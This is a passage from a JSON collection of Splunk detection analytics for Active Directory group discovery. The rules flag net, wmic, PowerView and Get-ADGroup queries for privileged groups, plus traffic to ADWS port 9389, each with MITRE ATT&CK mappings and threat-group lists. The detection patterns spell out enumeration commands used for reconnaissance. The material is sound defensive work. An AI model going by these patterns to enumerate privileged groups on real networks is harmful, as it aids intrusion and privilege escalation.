`security_content_ctime(lastTime)` | `domain_group_discovery_with_net_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Graceful Wipe Out Attack", - "Prestige Ransomware", - "Rhysida Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Domain Group Discovery With Wmic", - "description": "The following analytic identifies the execution of `wmic.exe` with command-line arguments used to query for domain groups. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to gain situational awareness and map out Active Directory structures. If confirmed malicious, this behavior could allow attackers to identify and target specific domain groups, potentially leading to privilege escalation or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"wmic.exe\") (Processes.process=*/NAMESPACE:\\\\\\\\root\\\\directory\\\\ldap* AND Processes.process=*ds_group* AND Processes.process=\"*GET ds_samaccountname*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `domain_group_discovery_with_wmic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Elevated Group Discovery With Net", - "description": "The following analytic detects the execution of `net.exe` or `net1.exe` with command-line arguments used to query elevated domain groups. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to identify high-privileged users within Active Directory. If confirmed malicious, this behavior could lead to further attacks aimed at compromising privileged accounts, escalating privileges, or gaining unauthorized access to sensitive systems and data.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"net.exe\" OR Processes.process_name=\"net1.exe\") (Processes.process=\"*group*\" AND Processes.process=\"*/do*\") (Processes.process=\"*Domain Admins*\" OR Processes.process=\"*Enterprise Admins*\" OR Processes.process=\"*Schema Admins*\" OR Processes.process=\"*Account Operators*\" OR Processes.process=\"*Server Operators*\" OR Processes.process=\"*Protected Users*\" OR Processes.process=\"*Dns Admins*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `elevated_group_discovery_with_net_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Rhysida Ransomware", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Elevated domain group discovery enumeration on $dest$ by $user$", - "risk_score": 21, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Elevated Group Discovery with PowerView", - "description": "The following analytic detects the execution of the `Get-DomainGroupMember` cmdlet from PowerView, identified through PowerShell Script Block Logging (EventCode=4104). This cmdlet is used to enumerate members of elevated domain groups such as Domain Admins and Enterprise Admins. Monitoring this activity is crucial as it indicates potential reconnaissance efforts by adversaries to identify high-privileged users within the domain. If confirmed malicious, this activity could lead to targeted attacks on privileged accounts, facilitating further compromise and lateral movement within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Get-DomainGroupMember*\") AND ScriptBlockText IN (\"*Domain Admins*\",\"*Enterprise Admins*\", \"*Schema Admins*\", \"*Account Operators*\" , \"*Server Operators*\", \"*Protected Users*\", \"*Dns Admins*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `elevated_group_discovery_with_powerview_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Elevated group discovery using PowerView on $dest$ by $user$", - "risk_score": 21, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Elevated Group Discovery With Wmic", - "description": "The following analytic detects the execution of `wmic.exe` with command-line arguments querying specific elevated domain groups. It leverages Endpoint Detection and Response (EDR) telemetry to identify processes that access the LDAP namespace and search for groups like \"Domain Admins\" or \"Enterprise Admins.\" This activity is significant as it indicates potential reconnaissance efforts by adversaries to identify high-privilege accounts within Active Directory. If confirmed malicious, this behavior could lead to privilege escalation, allowing attackers to gain elevated access and control over critical network resources.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"wmic.exe\") (Processes.process=*/NAMESPACE:\\\\\\\\root\\\\directory\\\\ldap*) (Processes.process=\"*Domain Admins*\" OR Processes.process=\"*Enterprise Admins*\" OR Processes.process=\"*Schema Admins*\" OR Processes.process=\"*Account Operators*\" OR Processes.process=\"*Server Operators*\" OR Processes.process=\"*Protected Users*\" OR Processes.process=\"*Dns Admins*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `elevated_group_discovery_with_wmic_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Elevated domain group discovery enumeration on $dest$ by $user$", - "risk_score": 21, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Get WMIObject Group Discovery", - "description": "The following analytic detects the use of the `Get-WMIObject Win32_Group` command executed via PowerShell to enumerate local groups on an endpoint. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. Identifying local groups can be a precursor to privilege escalation or lateral movement. If confirmed malicious, this activity could allow an attacker to map out group memberships, aiding in further exploitation or unauthorized access to sensitive resources.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=powershell.exe OR processes.process_name=cmd.exe) (Processes.process=\"*Get-WMIObject*\" AND Processes.process=\"*Win32_Group*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `get_wmiobject_group_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "System group discovery on $dest$ by $user$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - } - ] - } - }, - { - "name": "Get WMIObject Group Discovery with Script Block Logging", - "description": "The following analytic detects the execution of the `Get-WMIObject Win32_Group` command using PowerShell Script Block Logging (EventCode=4104). This method captures the full command sent to PowerShell, allowing for detailed analysis. Identifying group information on an endpoint is not inherently malicious but can be suspicious based on context such as time, endpoint, and user. This activity is significant as it may indicate reconnaissance efforts by an attacker. If confirmed malicious, it could lead to further enumeration and potential lateral movement within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-WMIObject*\" AND ScriptBlockText = \"*Win32_Group*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `get_wmiobject_group_discovery_with_script_block_logging_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "System group discovery enumeration on $dest$ by $user$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - } - ] - } - }, - { - "name": "GetAdGroup with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with the `Get-AdGroup` commandlet, which is used to query domain groups in a Windows Domain. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. Monitoring this activity is crucial as it may indicate an adversary or Red Team enumerating domain groups for situational awareness and Active Directory discovery. If confirmed malicious, this activity could lead to further reconnaissance, privilege escalation, or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-AdGroup*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getadgroup_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "GetAdGroup with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-AdGroup` PowerShell cmdlet using PowerShell Script Block Logging (EventCode=4104). This cmdlet is used to enumerate all domain groups, which adversaries may exploit for situational awareness and Active Directory discovery. Monitoring this activity is crucial as it can indicate reconnaissance efforts within the network. If confirmed malicious, this behavior could lead to further exploitation, such as privilege escalation or lateral movement, by providing attackers with detailed information about the domain's group structure.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Get-ADGroup*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest, UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getadgroup_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration using PowerShell on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "GetDomainGroup with PowerShell", - "description": "The following analytic detects the execution of `powershell.exe` with command-line arguments that query for domain groups using `Get-DomainGroup`. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions mapped to the `Processes` node of the `Endpoint` data model. Monitoring this activity is crucial as `Get-DomainGroup` is part of PowerView, a tool often used by adversaries for domain enumeration and situational awareness. If confirmed malicious, this activity could allow attackers to gain insights into domain group structures, aiding in further exploitation and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-DomainGroup*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getdomaingroup_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery with PowerView on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "GetDomainGroup with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-DomainGroup` cmdlet using PowerShell Script Block Logging (EventCode=4104). This cmdlet, part of the PowerView tool, is used to enumerate domain groups within a Windows domain. The detection leverages script block text to identify this specific command. Monitoring this activity is crucial as it may indicate an adversary or Red Team performing reconnaissance to gain situational awareness and map out Active Directory structures. If confirmed malicious, this activity could lead to further exploitation, including privilege escalation and lateral movement within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Get-DomainGroup*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | `security_content_ctime(firstTime)` | `getdomaingroup_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration using PowerView on $Computer$ by $UserID$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "GetWmiObject Ds Group with PowerShell", - "description": "The following analytic identifies the execution of `powershell.exe` with command-line arguments used to query domain groups via the `Get-WmiObject` cmdlet and the `-class ds_group` parameter. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it indicates potential reconnaissance efforts by adversaries to enumerate domain groups, which is a common step in Active Directory Discovery. If confirmed malicious, this could allow attackers to gain insights into the domain structure, aiding in further attacks and privilege escalation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=\"powershell.exe\") (Processes.process=*Get-WmiObject* AND Processes.process=\"*namespace root\\\\directory\\\\ldap*\" AND Processes.process=\"*class ds_group*\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `getwmiobject_ds_group_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "GetWmiObject Ds Group with PowerShell Script Block", - "description": "The following analytic detects the execution of the `Get-WmiObject` commandlet with the `DS_Group` parameter via PowerShell Script Block Logging (EventCode=4104). This method leverages WMI to query all domain groups. Monitoring this activity is crucial as adversaries and Red Teams may use it for domain group enumeration, aiding in situational awareness and Active Directory discovery. If confirmed malicious, this activity could allow attackers to map out the domain structure, potentially leading to further exploitation and privilege escalation within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=*Get-WmiObject* AND ScriptBlockText=\"*namespace root\\\\directory\\\\ldap*\" AND ScriptBlockText=\"*class ds_group*\") | stats count min(_time) as firstTime max(_time) as lastTime by Opcode Computer UserID EventCode ScriptBlockText | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`|`getwmiobject_ds_group_with_powershell_script_block_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Domain group discovery enumeration using PowerShell on $dest$ by $user$", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Net Localgroup Discovery", - "description": "The following analytic detects the execution of the `net localgroup` command, which is used to enumerate local group memberships on a system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it can indicate an attacker is gathering information about local group memberships, potentially to identify privileged accounts. If confirmed malicious, this behavior could lead to further privilege escalation or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=net.exe OR Processes.process_name=net1.exe (Processes.process=\"*localgroup*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `net_localgroup_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Discovery", - "Azorult", - "Graceful Wipe Out Attack", - "IcedID", - "Prestige Ransomware", - "Rhysida Ransomware", - "Volt Typhoon", - "Windows Discovery Techniques", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Local group discovery on $dest$ by $user$.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - } - ] - } - }, - { - "name": "Network Traffic to Active Directory Web Services Protocol", - "description": "The following analytic identifies network traffic directed to the Active Directory Web Services Protocol (ADWS) on port 9389. It leverages network traffic logs, focusing on source and destination IP addresses, application names, and destination ports. This activity is significant as ADWS is used to manage Active Directory, and unauthorized access could indicate malicious intent. If confirmed malicious, an attacker could manipulate Active Directory, potentially leading to privilege escalation, unauthorized access, or persistent control over the environment.", - "search": "| tstats count from datamodel=Network_Traffic where All_Traffic.dest_port=9389 by All_Traffic.src_ip, All_Traffic.dest_ip, All_Traffic.app, All_Traffic.user, All_Traffic.dest_port | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | `network_traffic_to_active_directory_web_services_protocol_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Network", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "dest_ip", - "type": "IP Address", - "role": [ - "Victim" - ] - } - ], - "message": "Network traffic to Active Directory Web Services Protocol was identified on $dest_ip$ by $src_ip$.", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" 